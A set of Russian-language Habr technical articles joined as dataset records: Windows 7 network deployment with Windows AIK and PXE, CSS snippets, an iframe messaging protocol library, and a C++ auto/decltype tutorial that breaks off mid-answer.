Многие из нас не только пользуются браузером, но и помогают разработчикам сделать его лучше. А это подразумевает отправку сообщений об ошибках. Чтобы не держать в памяти ссылку на онлайновую форму баг-репортов:
`<https://vivaldi.com/bugreport/>`
можно поместить её в виде веб-панели прямо в браузер — тогда она будет под рукой в любой момент, как только вы обнаружили ошибку и решили о ней рассказать разработчикам:
На этом всё на сегодня. Надеемся, что наши советы позволят сделать вашу работу в сети чуть более комфортной, а также помогут вам открыть для себя много новых возможностей этого удобного браузера Vivaldi. | https://habr.com/ru/post/316196/ | null | ru | null |
# Установка Windows 7 по сети при помощи Microsoft Windows AIK
Не так давно столкнулся с ситуацией, которая в принципе не вызывает особых проблем у системных администраторов. Появилась необходимость обновления ОС на многочисленных компьютерах организации, что в свою очередь все же вызвало ряд некоторых проблем, решения которых приходилось собирать по частям, а так же допиливать большую часть всего процесса самому о чем собственно я и хочу вам рассказать.
Данными проблемами стали ограничения в наличии одного привода DVD-ROM, одного дня свободного времени, а так же порядка двадцати компьютеров на которые необходимо было установить Windows 7 со всем набором необходимых драйверов, программ etc.
При поиске информации в [Google](https://www.google.ru/) по данному вопросу не нашлось ничего что работало бы без косяков или работало вообще. Но начнем по порядку.
#### Подготовка образа операционной системы
Для простоты подготовки боевой ОС под основу была взята [Oracle VirtualBox](https://www.virtualbox.org/) последней версии, а так же Windows 7 x64 Профессиональная. Первое что необходимо сделать — установить и настроить Windows 7 на виртуальной машине. Для этого в процессе добавления VM создаем два виртуальных жестких диска. Один для установки и настройки на нем Windows 7, второй для последующего сохранения на него образа настроенной системы. Так же необходимо выполнить установку дополнения гостевой ОС Virtualbox — Virtual Machine Additions и создать общую папку для дальнейшего копирования созданного образа на физическую машину.
После установки на VM всей начинки, переходим к этапу подготовки системы с помощью утилиты **sysprep**, находящуюся в корне системы нашей VM:
```
%windir%\system32\sysprep\sysprep.exe
```
Для подготовки системы к созданию настроенного образа необходимо задать утилите параметры:
1. Переход в окно приветствия системы (OOBE) — этот режим будет активирован при следующем запуске системы. Запускает компьютер в режиме экрана приветствия.
2. Установить галочку «Подготовка к использованию» — подготавливает установку Windows перед созданием образа. Идентификатор безопасности (SID) обнуляется, точки восстановления системы сбрасываются, журналы событий удаляются.
3. Параметры завершения работы «Завершение работы» — по окончанию работы утилиты система завершит свою работу.
Не следует запускать ОС до сохранения образа системы, так как во время следующего запуска компьютера начинает работать специализированный этап настройки. Создается новый идентификатор безопасности (SID) и сбрасываются часы активации Windows.
Утилита удаляет в том числе и установленные драйверы. Чтобы сохранить их, необходимо выполнять **sysprep** из командной строки с параметром:
```
/unattend: указывается путь к файлу ответов
```
В файле ответов необходимо указать параметр PersistAllDeviceInstalls (начиная с Windows 8 также есть параметр DoNotCleanUpNonPresentDevices):
```
true
```
После выполнения очистки система автоматически выключится. Приступаем к следующему этапу.
#### Установка и настройка Windows AIK + PE
Скачиваем и устанавливаем пакет автоматической установки [Windows (AIK) для Windows 7](http://www.microsoft.com/ru-ru/download/details.aspx?id=5753). После запуска setup.exe выбираем пункт «Установка Windows AIK». Особых проблем при установке возникнуть не должно.
##### Создание и настройка образа Windows PE
**Windows PE** — среда предустановки использующаяся для подготовки к установке OC. С помощью Windows PE мы будем захватывать системный том в wim-образ с помощью утилиты **imagex** и их сохранять его на другой раздел жесткого диска.
В данном случае рассматривается создание диска с 64-разрядной версией Windows PE. Если вы создаете диск с 32-разрядной версией Windows PE, вам необходимо будет заменить во всех командах архитектуру (amd64 на х86).
В меню Пуск запустите Все программы > Microsoft Windows AIK > **Командная строка средств развертывания (Deployment Tools Command Prompt)** — все последующие команды будут вводиться в это окно командной строки. Требуется запуск от имени администратора.
Копируем файлы образа Windows PE
```
copype.cmd amd64 d:\winpe_image
```
Для изменения скопированного образа Windows PE его необходимо подключить командой
```
dism /Mount-Wim /WimFile:d:\winpe_image\winpe.wim /index:1 /MountDir:d:\winpe_image\mount
```
Теперь подключив образ, мы можем устанавливать в него пакеты и добавлять собственные файлы.
Добавим в наш образ утилиту **imagex**.
```
xcopy "%ProgramFiles%\Windows AIK\Tools\amd64\imagex.exe" d:\winpe_image\iso\
```
Так же по желанию можно сразу подготовить список исключений — файлов и папок, которые не будут включаться в сохраняемый образ. Создайте в любом текстовом редакторе файл Wimscript.ini и укажите в нем файлы и папки, которые вы хотите исключить из образа. Файл Wimscript.ini размещается в одной папке с imegex.
По умолчанию **imagex** использует следующие исключения:
```
[ExclusionList]
\$ntfs.log
\hiberfil.sys
\pagefile.sys
"\System Volume Information"
\RECYCLER
\Windows\CSC
[CompressionExclusionList]
*.mp3
*.zip
*.cab
\WINDOWS\inf\*.pnf
```
Теперь необходимо сохранить образ командой:
```
dism /unmount-Wim /MountDir:d:\winpe_image\mount /Commit
```
Вся подготовительная работа велась с файлом winpe.wim, а для загрузочного диска Windows PE используется файл boot.wim, расположенный в папке winpe\_x86\ISO\sources. Поэтому необходимо заменить файл boot.wim файлом winpe.wim, выполнив при этом переименование.
```
xcopy /y d:\winpe_image\winpe.wim d:\winpe_image\ISO\sources\boot.wim
```
Для создания образа выполняем команду:
```
oscdimg -n -bd:\winpe_image\etfsboot.com d:\winpe_image\ISO d:\winpe_image\winpe_image.iso
```
##### Создание образа Windows 7
Необходимо сохранить образ нашей ОС с помощью утилиты **imagex**. Грузимся в VM с образа winpe\_image.iso который мы создали ранее. После удачной загрузки пред нами открывается окно командной строки, в ней мы как раз и будем работать.
Захват и сохранение образа производится одной командой
```
F:\imagex.exe /capture E: D:\install.wim "Windows 7 x64" /compress maximum
```
**/capture E:** — захват раздела E:
**D:\install.wim** — местоположение и имя сохраняемого WIM-файла.
**«Windows 7 x64»** — имя образа. Имя должно быть заключено в кавычки.
**/compress maximum** — тип сжатия файлов в образе(необязательно). Для параметра **/compress** допустимы значения **maximum** (максимальное сжатие), **fast** (быстрое сжатие) и **none** (без сжатия). Если параметр не указан, используется быстрое сжатие. Максимальное сжатие позволяет уменьшить размер образа, но захват занимает больше времени, чем при быстром сжатии. Скорость распаковки образа практически не зависит от типа сжатия. Остается подождать 20-30 минут и образ будет готов.
После сохранения образа на втором диске виртуальной машины, для дальнейшей работы его нужно перенести на физическую ОС. Запускаем виртуальную машину снова и завершаем установку Windows, прерванную на этапе OOBE. Если вы уже установили Virtual Machine Additions то теперь необходимо скопировать файл из виртуальной машины на физическую с помощью общей папки (shared folder), которую можно указать в настройках виртуальной машины.
##### Настройка загрузочного образа Windows 7
На данном этапе снова запускаем «Командную строку средств развертывания» и копируем файлы образа Windows PE:
```
copype.cmd amd64 d:\winpe
```
Монтируем образ
```
imagex /mountrw winpe.wim 1 mount
```
Windows PE смонтирован и в папке d:\winpe Вы можете найти файл winpe.wim.
##### Настройка автозапуска установки Windows.
Чтобы не создавать вручную виртуальный диск и не запускать установку вручную, можно отредактировать файлик startnet.cmd и startnet2.cmd. Находятся они d:\winpe\mount\windows\system32.
startnet.cmd
```
wpeinit
%windir%\system32\startnet2.cmd
```
startnet2.cmd
```
chcp 1251
netsh interface ip set address name="Подключение по локальной сети" source=dhcp
chcp 866
pause
net use z: \\192.168.0.1\win7 /user:install install
cd /d Z:\sources
setup.exe
```
Команда net use производит подключение к компьютеру с IP адресом 192.168.0.1 (наш компьютер-сервер) к расшаренному каталогу c именем win7 на правах пользователя install c таким же паролем.
Создать нужного нам пользователя можно такой командой в cmd
```
net user install install /add /passwordchg:no
```
Выполняем следующие инструкции:
* На компьютере-сервере создаем корневой каталог для загрузки (у меня это d:\win7\), а в нем папку boot.
* Расшариваем папку win7, то есть даем общий доступ к ней всем пользователям.
* Копируем всю папку sources с установочного диска Windows 7 в d:\win7.
* Заменяем файл install.wim в каталоге d:\win7\sources на файл, который скопировали ранее с виртуальной машины (готовый образ Windows 7)
Теперь необходимо скопировать дополнительные файлы для установки Windows 7.
Cмонтируем образ WinPE:
```
imagex /mountrw winpe.wim 1 mount
```
Копируем:
```
xcopy d:\winpe\mount\windows\boot\pxe\pxeboot.n12 d:\win7
xcopy d:\winpe\mount\windows\boot\pxe\bootmgr.exe d:\win7
xcopy d:\winpe\winpe.wim d:\win7\boot
xcopy d:\winpe\iso\boot\boot.sdi d:\win7\boot
```
Размонтируем образ командой:
```
imagex.exe /unmount d:\winpe\mount
```
Далее необходимо создать файл BCD (boot configuration data) в каталоге d:\win7\boot. Для упрощения этого процесса воспользуемся файлом createbcd.cmd. Создаем файл d:\winpe\createbcd.cmd и вписываем в него:
```
bcdedit -createstore %1\BCD
bcdedit -store %1\BCD -create {ramdiskoptions} /d "Ramdisk options"
bcdedit -store %1\BCD -set {ramdiskoptions} ramdisksdidevice boot
bcdedit -store %1\BCD -set {ramdiskoptions} ramdisksdipath \boot\boot.sdi
for /F "tokens=2 delims={}" %%i in ('bcdedit -store %1\BCD -create /d "MyWinPE Boot Image" /application osloader') do set guid={%%i}
bcdedit -store %1\BCD -set %guid% systemroot \Windows
bcdedit -store %1\BCD -set %guid% detecthal Yes
bcdedit -store %1\BCD -set %guid% winpe Yes
bcdedit -store %1\BCD -set %guid% osdevice ramdisk=[boot]\Boot\winpe.wim,{ramdiskoptions}
bcdedit -store %1\BCD -set %guid% device ramdisk=[boot]\Boot\winpe.wim,{ramdiskoptions}
bcdedit -store %1\BCD -create {bootmgr} /d "Windows BootManager"
bcdedit -store %1\BCD -set {bootmgr} timeout 30
bcdedit -store %1\BCD -set {bootmgr} displayorder %guid%
```
Запускаем командой с правами администратора:
```
createbcd.cmd d:\win7\boot
```
Если у вас возникнут проблемы с драйверами, то их можно добавить так же в «Командной строке средств развертывания»:
Монтирование образа для добавления драйверов
```
dism /mount-wim /wimfile:winpe.wim /index:1 /mountdir:mount
```
Для интеграции драйверов в уже смонтированный образ используется команда
```
dism /image:mount /add-driver /driver:<каталог с драйверами либо файл с расширением inf>
```
После того как вся работа с образом закончена его необходимо размонтировать
```
dism /unmount-wim /mountdir:mount /commit
```
#### Настройка сервера TFTP и DHCP
Для создания этих серверов необходимо скачать программу [TFTPD32](http://tftpd32.jounin.net/tftpd32_download.html).
Задачей DHCP сервера является предоставить информацию удаленному компьютеру о свободном IP адресе, маски сети, а также имя загружаемого файла и адрес TFTP сервера, где этот файл находиться. Задача TFTP сервера является обеспечение передачи необходимых для загрузки файлов удаленному компьютеру.
Запускаем программу и выбираем сначала папку d:\win7, а немножко ниже — IP сетевой карты. В моем случае компьютер имеет IP 192.168.0.1.
Заходим в настройки (кнопка Settings посредине внизу) и постепенно заполняем вкладки:
* Вкладка GLOBAL — cтавим галочки только напротив TFTP Server, DHCP Server и Enable IPv6.
* Вкладка TFTP — выбираем папку d:\win7.
* TFTP Security — Standart.
* TFTP configuration — оставляем как есть.
* Advanced TFTP Options — должны стоять галочки напротив: Option negotiation, Show Process bar и Translate Unix file names.
* Вкладка DHCP
* IP pool starting address указывает, с какого IP адреса начать выдачу адресов. В моем примере выдача IP адресов начнется с 192.168.0.2.
* Size of pool указывает количество IP адресов, которые будут динамически выделяться. Я установил значение в 30.
* Boot File сообщает удаленному компьютеру имя файла, который необходимо использовать в качестве загрузчика. Устанавливаем значение в pxeboot.n12.
* Mask, указывает маску сети. В нашем случае это 255.255.255.0. Остальные значения параметров оставляем по умолчанию.
* Ping address before assignation — снять галочку (если у Вас связь компьютер-компьютер без свичей и роутеров).
Теперь нужно включить в BIOS загрузку с сетевой карты и загрузиться с нее. После этого будет получен IP-адрес через DHCP и выполниться pxeboot.n12 — который запустит Windows PE c файла winpe.wim. Сразу после загрузки Windows PE будет автоматически смонтирован каталог win7 и с него запуститься установка. Далее установка проходит точно также как и с диска. | https://habr.com/ru/post/171017/ | null | ru | null |
# Базовые стили и полезные CSS-сниппеты
В этой статье собраны полезные и «правильные» стили и сниппеты, которые помогут ускорить процесс разработки сайта, а также оптимизировать верстку.
1. Базовая HTML5 конструкция
----------------------------
Основной код любой страницы, которому многие разработчики уделяют недостаточно внимания. Подключены jQuery 1.8.2 и [HTML5shiv](http://code.google.com/p/html5shiv/) для корректного отображения в старых браузерах.
```
Default Page Title
```
2. Сброс стандартных стилей браузеров
-------------------------------------
один и тот же код в разных браузерах может отображаться по-разному. Сброс стилей поможет избежать таких проблем.
```
html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;
outline: none;
}
html { height: 101%; } /* always display scrollbars */
body { font-size: 62.5%; line-height: 1; font-family: Arial, Tahoma, Verdana, sans-serif; }
article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; }
ol, ul { list-style: none; }
blockquote, q { quotes: none; }
blockquote:before, blockquote:after, q:before, q:after { content: ''; content: none; }
strong { font-weight: bold; }
input { outline: none; }
table { border-collapse: collapse; border-spacing: 0; }
img { border: 0; max-width: 100%; }
a { text-decoration: none; }
a:hover { text-decoration: underline; }
```
3. CSS3 градиенты
-----------------
Представленный ниже код поможет кроссбраузерно отображать CSS-градиенты. Добавляется в нужный селектор, можно использовать **rgba()** для прозрачности.
```
background-color: #000;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#bbb', endColorstr='#000');
background-image: -webkit-gradient(linear, left top, left bottom, from(#bbb), to(#000));
background-image: -webkit-linear-gradient(top, #bbb, #000);
background-image: -moz-linear-gradient(top, #bbb, #000);
background-image: -ms-linear-gradient(top, #bbb, #000);
background-image: -o-linear-gradient(top, #bbb, #000);
background-image: linear-gradient(top, #bbb, #000);
```
4. CSS3 Transform
-----------------
Не очень популярное свойство из-за проблем в старых браузерах. Однако достаточно перспективное. Можно делать [всплывающие подсказки](http://cssnerd.com/2012/04/10/pure-css3-animated-tooltip/) или [фигуры](http://www.css3shapes.com/).
```
-webkit-transform: perspective(250) rotateX(45deg);
-moz-transform: perspective(250) rotateX(45deg);
-ms-transform: perspective(250) rotateX(45deg);
-o-transform: perspective(250) rotateX(45deg);
transform: perspective(250) rotateX(45deg);
```
5. Свой @font-face
------------------
Позволяет добавить собственные шрифты на страницу. Для конвертации в различные форматы полезно использовать сервис [Font2Web](http://www.font2web.com/).
```
@font-face{
font-family: 'MyFont';
src: url('myfont.eot');
src: url('myfont.eot?#iefix') format('embedded-opentype'),
url('myfont.woff') format('woff'),
url('myfont.ttf') format('truetype'),
url('myfont.svg#webfont') format('svg');
}
h1 { font-family: 'MyFont', sans-serif; }
```
6. Мета-теги адаптивной верстки
--------------------------------
Важные мета-теги для корректной работы адаптивного макета
```
```
7. HTML5-медиа
--------------
Конструкция подгрузки нескольких форматов видео и аудио для универсальной работы медиа-контента (убрать пробел в «s ource»)
```
```
8. Классы для упрощения верстки
--------------------------------
Следующие сниппеты помогут сократить синтаксис при верстке. Техника широко применяется в различных CSS-фреймворках. Например управление свойством float:
```
.float-left /* Or whatever name you like */ {
float: left;
}
.float-right /* Or whatever name you like */ {
float: right;
}
```
Или отображением элементов:
```
.hide {
display: none;
}
.show {
display: block;
}
```
9. Сниппеты дизайна
-------------------
Позволяют упрощать отображать контент. Простой пример: объявление в CSS-файле стилей шрифтов в зависимости от места на сайте, где располагается контент. Эта, вроде бы простая техника, часто игнорируется разработчиками.
```
.content {
font: 1em/1.4 Segoe, "Segoe UI", "Helvetica Neue", Arial, sans-serif;
}
.title {
font: 1.7em/1.2 Baskerville, "Baskerville old face", "Hoefler Text", Garamond, "Times New Roman", serif;
}
.code {
font: 0.8em/1.6 Monaco, Mono-Space, monospace;
}
```
10. Сниппеты разработки
-----------------------
Сниппеты, помогающие более грамотно организовать верстку сайта. Вот очень простой пример, который позволяет правильно считать ширину какого-нибудь блока:
```
*, *:before, *:after {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
```
Еще один полезный инструмент — это clearfix, помогающий избавиться от несоответствий отображения элементов верстки в разных браузерах:
```
.clearfix:before,
.clearfix:after {
content: " ";
display: table;
}
.clearfix:after {
clear: both;
}
/* IE6/7 support */
.clearfix {
*zoom: 1;
}
```
Слишком длинные URL могут ломать верстку страницы. Чтобы избежать этого, можно применять следующий сниппет (подробнее [на css-tricks.com](http://css-tricks.com/snippets/css/prevent-long-urls-from-breaking-out-of-container/)), не работает в Opera и IE ниже восьмой версии:
```
.break {
-ms-word-break: break-all;
word-break: break-all;
word-break: break-word;
-webkit-hyphens: auto;
-moz-hyphens: auto;
hyphens: auto;
}
.ellipsis {
width: 250px;
white-space: nowrap;
overflow: hidden;
-ms-text-overflow: ellipsis; /* Required for IE8 */
-o-text-overflow: ellipsis; /* Required for Opera */
text-overflow: ellipsis;
}
```
Переносы текста в теге **pre**:
```
pre {
white-space: pre-wrap; /* Chrome & Safari */
white-space: -moz-pre-wrap; /* Mozilla since 1999 */
white-space: -pre-wrap; /* Opera 4-6 */
white-space: -o-pre-wrap; /* Opera 7 */
word-wrap: break-word; /* Internet Explorer 5.5+ */
}
```
11. Подготовка страницы для печати
----------------------------------
Перевод контента в черно-белые цвета, отображение подчеркивания у ссылок, отображение URL рядом в скобках:
```
@media print {
* {
background: none !important;
color: black !important;
box-shadow: none !important;
text-shadow: none !important;
/* Images, vectors and such */
filter: Gray(); /* IE4-8: depreciated */
filter: url('desaturate.svg#grayscale'); /* SVG version for IE10, Firefox, Safari 5 and Opera */
-webkit-filter: grayscale(100%); /* Chrome + Safari 6 */
-moz-filter: grayscale(100%); /* Future proof */
-ms-filter: grayscale(100%); /* Future proof */
-o-filter: grayscale(100%); /* Future proof */
filter: grayscale(100%); /* Future proof or polyfilled */
}
a {
text-decoration: underline;
}
a[href]:after {
content: " (" attr(href) ")";
}
a[href="#"],
a[href="javascript:"] {
content: "";
}
}
```
```
```
Использованные материалы:
* [8 Code Snippets for New Website Projects](http://webdesignledger.com/tips/8-code-snippets-templates-for-new-website-projects)
* [Kick-Start Your Project: A Collection of Handy CSS Snippets](http://tympanus.net/codrops/2012/10/25/kick-start-your-project-a-collection-of-handy-css-snippets/#article-section-designrelated)
* [Сайт CSS-Tricks](http://css-tricks.com/) | https://habr.com/ru/post/159101/ | null | ru | null |
# Протокол для общения между iframe и основным окном браузера
Многим разработчикам периодически требуется наладить общение между несколькими вкладками браузера: возможность посылать сообщения из одной в другую и получать ответ. Такая задача встала и перед нами.
Существуют стандартные решения вроде BroadcastChannel, однако поддержка в браузерах сейчас [оставляет желать лучшего](https://caniuse.com/#search=BroadcastChannel), поэтому мы решили реализовать свою библиотеку. Когда библиотека была готова, выяснилось, что такая функциональность уже не нужна, зато появилась другая задача: нужно было общаться между iframe и основным окном.
При ближайшем рассмотрении выяснилось, что две трети библиотеки при этом можно не менять, необходимо только немного порефакторить код. Библиотека представляет из себя скорей ПРОТОКОЛ общения, который может работать с текстовыми данными. Его можно применять во всех случаях, если есть возможность передавать текст (iframe, window.open, worker, вкладки браузера, WebSocket).
Как это работает
----------------
На данный момент в протоколе есть две функциональности: отправка сообщения и подписка на события. Любое сообщение в протоколе — это объект с данными. Главное поле этого объекта — поле **type**, которое говорит нам, что это за сообщение. Поле **type** — это [enum](https://en.wikipedia.org/wiki/Enumerated_type) со значениями:
* 0 — отправка сообщения
* 1 — отправка запроса
* 2 — получение ответа.
### Отправка сообщения
Отправка сообщения **не** подразумевает ответа. Для отправки события мы конструируем объект с полями:
* **type** — тип события 0
* **name** — наименование события пользователя
* **data** — данные пользователя (JSON-like).
При получении сообщения на другой стороне с полем **type** = 0 мы знаем, что это — событие и что есть имя события и данные. Остается лишь запустить событие (почти обычный паттерн [EventEmitter](https://tproger.ru/translations/event-emitter-javascript/)).
Схема работы с событиями:
### Отправка запроса
Отправка запроса подразумевает, что внутри библиотеки формируется ID запроса, библиотека будет ожидать ответа с данным ID, и после успешного ответа из него будут удалены служебные поля, а ответ вернется пользователю. Кроме того, можно установить максимальное время ожидания ответа.
С запросом все обстоит несколько сложнее. Чтобы ответить на запрос, необходимо объявить методы, которые доступны в нашем протоколе. Это делается с помощью метода **registerRequestHandler**. Он принимает имя запроса, на который будет отвечать, и функцию, которая возвращает ответ. Для создания запроса нам нужен **id**, и в общем-то можно использовать **timestamp**, но это очень не удобно отлаживать. Поэтому это **id** класса который отправляет запрос + порядковый номер запроса + строковая константа. Далее мы конструируем объект с полями **id**, **type** — со значением 1, **name** — наименование запроса, **data** — данные пользователя (JSON-like).
При получении запроса мы проверяем, есть ли у нас API для ответа на данный запрос, если API нет — возвращаем ошибку. Если API есть — возвращаем результат выполнения функции из **registerRequestHandler**, с соответствующим именем запроса.
Для ответа формируется объект с полями **type** — со значением 2, **id** — id сообщения на которое отвечаем, **status** — поле, которое говорит, является ли данный ответ ошибкой (если нет API, или в обработчике пользователя произошла ошибка, или пользователь вернул Rejected Promise, другие ошибки (serialize)), **content** — данные ответа.
Таким образом мы описали работу самого протокола, который реализует класс **Bus**, но не описали, как собственно отправлять и получать сообщения. Для этого нужны адаптеры — класс с 3 методами:
* **send** — метод, который собственно отвечает за отправку сообщения
* **addListener** — метод для подписки на события
* **destroy** — для уничтожения подписок при уничтожении Bus.
### Адаптеры. Реализация протокола.
Чтобы запустить все это, на данный момент готов только адаптер для работы с iframe/window. Работает он на [postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) и [addEventListener](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener). Тут все достаточно просто: нужно отправить сообщение в **postMessage** с правильным **origin** и слушать сообщения через **addEventListener** на событии "message".
Небольшие тонкости, с которыми мы столкнулись:
* Слушать ответы всегда стоит на СВОЕМ окне, а отправлять на ЧУЖОМ (iframe, opener, parent, worker, ...).
Дело в том, что при попытке слушать сообщение на ЧУЖОМ окне, если origin отличается от текущего, возникнет ошибка.
* При получении сообщения убедитесь что оно отправлено вам (на окне срабатывает куча сообщений от аналитики,
WebStrom (если вы им пользуетесь), чужих iframe, поэтому следует убедиться, что событие — в нашем протоколе и для нас).
* Нельзя возвращать **[Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** с экземпляром [Window](https://developer.mozilla.org/en-US/docs/Web/API/Window), так как **Promise** при возврате результата пытается проверить, есть ли у результата метод **then**, и, если у вас нет доступа к окну (окно с другим origin, например), возникнет ошибка (хоть и не во всех браузерах). Чтобы избежать этой проблемы, достаточно обернуть окно в объект и класть в **Promise** объект, в котором есть ссылка на нужное окно.
### Примеры использования:
Библиотеку можно установить с помощью своего любимого пакетного менеджера — [@waves/waves-browser-bus](https://www.npmjs.com/package/@waves/waves-browser-bus)
Чтобы установить двустороннюю связь с iframe, достаточно написать код:
```
import { Bus, WindowAdapter } from '@waves/waves-browser-bus';
const url = 'https://some-iframe-content-url.com';
const iframe = document.createElement('iframe');
WindowAdapter.createSimpleWindowAdapter(iframe).then(adapter => {
const bus = new Bus(adapter);
bus.once('ready', () => {
// Получено сообщение от iframe
});
});
iframe.src = url; // Предпочтительно присваивать url после вызова WindowAdapter.createSimpleWindowAdapter
document.body.appendChild(iframe);
```
И внутри iframe:
```
import { Bus, WindowAdapter } from '@waves/waves-browser-bus';
WindowAdapter.createSimpleWindowAdapter().then(adapter => {
const bus = new Bus(adapter);
bus.dispatchEvent('ready', null); // Отправили сообщение в родительское окно
});
```
Что дальше?
-----------
Получился гибкий и универсальный протокол, который можно использовать в любой ситуации.
Теперь я планирую отделить адаптеры от протокола и вынести их в отдельные npm-пакеты, добавить адаптеры для работы с worker и вкладками браузера. Хочется, чтобы писать адаптеры, реализующие протокол для любых других нужд, было максимально просто.
Если у вас есть желание присоединиться к разработке или идеи по функционалу библиотеки — милости прошу в [репозиторий](https://github.com/wavesplatform/waves-browser-bus). | https://habr.com/ru/post/455942/ | null | ru | null |
# Секреты auto и decltype
Новый стандарт языка принят относительно давно и сейчас уже, наверное, нет программиста, который не слышал о новых ключевых словах *auto* и *decltype*. Но как почти с любым аспектом С++, использование этих новых инструментов не обходится без нюансов. Некоторые из них я постараюсь осветить в этой статье.
Для разминки предлагаю начать с небольшого теста.
##### Тест
1. Какой тип будет у переменных ri1..riN после выполнения следующего кода?
```
int foo();
int& foo1();
const int foo2();
const int& foo3();
int main()
{
auto ri = foo();
auto ri1 = foo1();
auto ri2 = foo2();
auto ri3 = foo3();
auto& ri4 = foo();
auto& ri5 = foo1();
auto& ri6 = foo2();
auto& ri7 = foo3();
auto&& ri8 = foo();
auto&& ri9 = foo1();
auto&& ri10 = foo2();
auto&& ri11 = foo3();
int k = 5;
decltype(k)&& rk = k;
decltype(foo())&& ri12 = foo();
decltype(foo1())&& ri13 = foo1();
int i = 3;
decltype(i) ri14;
decltype((i)) ri15;
}
```
Скомпилируются ли следующие фрагменты?
```
2. auto lmbd = [](auto i){...};
3. void foo(auto i);
4. decltype(auto) var = some_expression; //WTF?!
5. auto var = {1, 2, 3}; //Если да, какой тип будет у var?
6. template void foo(T t){}
foo({1, 2, 3});
```
##### Теория
К механизму вывода типов, используемому в шаблонах в С++11 добавилось два новых механизма: *auto* и *decltype*. И чтобы жизнь программистам не казалась медом, все эти 3 механизма выводят типы по-своему. Механизм, используемый *auto*, в точности копирует механизм шаблонов, за исключением типа *std::initializer\_list*.
```
auto var = {1, 2, 3}; // Ok, var будет иметь тип std::initializer_list
template void foo(T t);
foo({1, 2, 3}); // Не компилируется
```
Объяснений такому поведению немного и все они не отличаются внятностью. Скотт Мейерс, например, по этому поводу пишет так: *“I have no idea why type deduction for auto and for templates is not identical. If you know, please tell me!”*. В С++14 этот механизм менять не собираются. За объяснение можно попровать принять тот факт, что работают, например, такие удивительные вещи:
```
template
void fill\_from\_list(T& cont, const T& l);
std::vector v;
fill\_from\_list(v, {1, 2, 3});
```
###### Auto
Итак, как же `auto` выводит тип? К сожалению, здесь нет простого правила на все случаи жизни, кроме, пожалуй, того, что `auto` при выводе типа в общем случае отбрасывает cv квалификаторы и ссылки. Ниже я перечислю самые важные моменты.
1.
```
auto var = some_expression;
```
Если тип *some\_expression* *T\** или *const T\**, то тип var также будет *T\** или *const T\** соответственно. Пока без сюрпизов. Дальше — интереснее. Пожалуй самое важное с практической точки зрения правило заключается в том, что если тип *some\_expression* — *T*, *const T*, *T&* или *const T&*, **то типом var будет T**. Это, впрочем, если задуматься, вполне логично, ведь в этом случае значение, возвращаемое *some\_expression* копируется в var и можно смело писать вот так:
```
void foo(const std::list& l)
{
auto w = l.front();
l.pop();
// work with `w` here
}
```
2.
```
auto& var = some_expression;
```
В этом случае, ожидаемо, если тип *some\_expression* — *T* или *const T*, компилироваться это не будет, так как *lvalue* ссылку нельзя инициализировать *rvalue*. Если тип *some\_expression* — *T&*, то и var будет иметь тип *T&*. Здесь важным моментом является то, что если тип *some\_expression* — *const T&*, то и тип var будет *const T&*.
3.
```
auto&& var = some_expression;
```
Здесь действует придуманное (или по крайней мере озвученное) Скоттом Мейерсом правило “универсальных ссылок”. Оно заключается в том, что тип *var* будет зависеть от того какая *value category* у *some\_expression*. Если *rvalue*, то тип *var* будет *T&&*, если же *lvalue*, то *T&*. *Cv* квалификаторы при этом сохраняются.
###### Auto как параметр функции
*auto* нельзя использовать в качестве параметра функции и изменений в этом поведении не предвидется. Очевидно, тут дело в том, что если бы такое было разрешено, то, получается, любую обычную функцию можно было бы объявить по сути неявно шаблонной. И становится непонятно как разрешать перегрузку. Представьте себу такую ситуацию:
```
auto foo(auto v1, auto v2) -> decltype(v1+v2) ;
int foo(auto v1, bool v2);
foo(“C++ is cool?”, true);
```
Однако в с++14 можно будет использовать *auto* параметры в лямбдах.
###### decltype
С *decltype* ситуация с одной стороны сложнее (если посмотреть формальные правила), с другой стороны проще (если выделить основные моменты). Я сформулирую эти правила так, как я их понял.
Итак, следует различать два основных случая применения *decltype*.
1. *decltype(var)*, когда *var* — это объявленная переменная (например в функции или как член класса). В этом случае *decltype(var)* будет иметь в точности тот тип, с которым объявлена переменная.
2. *decltype(expr)*, *expr* — выражение. В этом случае типом *decltype(expr)* будет тип, которое **могло бы вернуть это выражение**, с той оговоркой, что *decltype(expr)* будет иметь тип *T&* (*const T&*), если *expr* возвращает *lvalue*, *T*, если *expr* возвращает *rvalue* типа *Т* (*const T*) и *T&&* (*const T&&*), если expr возвращает *xvalue* (*rvalue reference*).
Что значит “могло бы вернуть”? Это значит то, что *decltype* не вычисляет переданное ему в качестве аргумента выражение.
Несколько поясняющих примеров:
```
int i;
decltype(i); // int
decltype(i + 1); // int
decltype((i)); // int&
decltype(i = 4); //int&
const int foo();
decltype(foo()) ;// int
int&& foo1();
decltype(foo1()) ;// int&&
```
В том случае, если мы не знаем *lvalue* нам вернет выражение, *rvalue* или *xvalue*, а тип использовать хочется, можно воспользоваться стандартным шаблоном *std::remove\_reference*, чтобы “очистить” тип от ссылок.
###### Decltype(auto)
Это новая “фишка” языка, которая войдет в С++14. Она нужна для сохранения семантики *decltype* при объявлении *auto* переменных и будет использоваться в тех случаях, когда нас не будет устраивать то, что *auto* отбрасывает ссылки и cv квалификаторы и, возможно, в связке с новой возможностью С++14 — выводом типа возвращаемого функцией значения.
```
const int&& foo();
auto i = foo(); // i будет иметь тип int
dectype(auto) i2 = foo(); // i2 будет иметь тип const int&&
```
В последнем случае мы могли бы написать *decltype(foo())*, но представьте, если бы вместо *foo()* было выражение на 2 строчки, а такие в С++ не редкость.
##### Ответы
Ну и сейчас, загрузив теорию в кэш, можно попытаться ответить на вопросы теста.
1.
```
int foo();
int& foo1();
const int foo2();
const int& foo3();
int main()
{
auto ri = foo(); // int
